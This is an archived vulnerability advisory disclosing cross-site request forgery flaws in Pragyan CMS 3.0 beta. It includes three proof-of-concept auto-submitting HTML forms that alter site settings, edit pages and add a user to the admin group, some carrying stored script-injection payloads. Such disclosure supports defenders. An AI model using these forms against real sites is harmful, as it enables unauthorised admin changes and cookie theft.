Total Tests:

Cross-site Request Forgery (CSRF) Vulnerabilities in Pragyan CMS

Advisory ID:HTB22853
Product:Pragyan CMS
Vendor:Pragyan Team
Vulnerable Versions:v.3.0 beta and probably prior
Tested Version:v.3.0 beta
Advisory Publication:February 17, 2011 [without technical details]
Vendor Notification:February 17, 2011
Public Disclosure:March 3, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pragyan CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in Pragyan CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in cms/admin.lib.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "cms_desc", "cms_keywords" and "cms_footer" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main">
<input type="hidden" name="cms_title" value="Pragyan CMS">
<input type="hidden" name="cms_desc" value='desc3"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_keywords" value='Pragyan CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_footer" value='Powered by Praygan CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_email" value="email@example.com">
<input type="hidden" name="default_template" value="crystalx">
<input type="hidden" name="update_global_settings" value="">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. Due to insufficient sanitation of input data in the "CKEditor1" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/?page=/MY_PAGE_URL/&action=edit" method="post" name="main">
<input type="hidden" name="CKEditor1" value='page content"><script>alert(document.cookie)</script>'>
</form>
<script>
docum ent.main.submit ();
</script>

1.3 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and add arbitrary user to arbitrary group.
Exploitation example:
<form action="http://host/?page=/&action=admin&subaction=editgroups&groupname=admi n" method="post" name="main">
<input type="hidden" name="txtUserEmail" value="myemail@example.com+-">
<input type="hidden" name="btnAddUserToGroup" value="Add User to Group">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version
Edit the application source code to ensure that input is properly sanitised, don't browse untrusted websites while you logged in the application (for 1.2, 2)

More information: http://pragyan.svn.sourceforge.net/viewvc/pragyan?view=revision&revision=273


References:
[1] High-Tech Bridge Advisory HTB22853 - https://www.immuniweb.com/advisory/HTB22853 - Cross-site Request Forgery (CSRF) Vulnerabilities in Pragyan CMS
[2] Pragyan CMS - http://sourceforge.net/projects/pragyan - A simple and fast multiuser content management system to organize collaborative web-content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential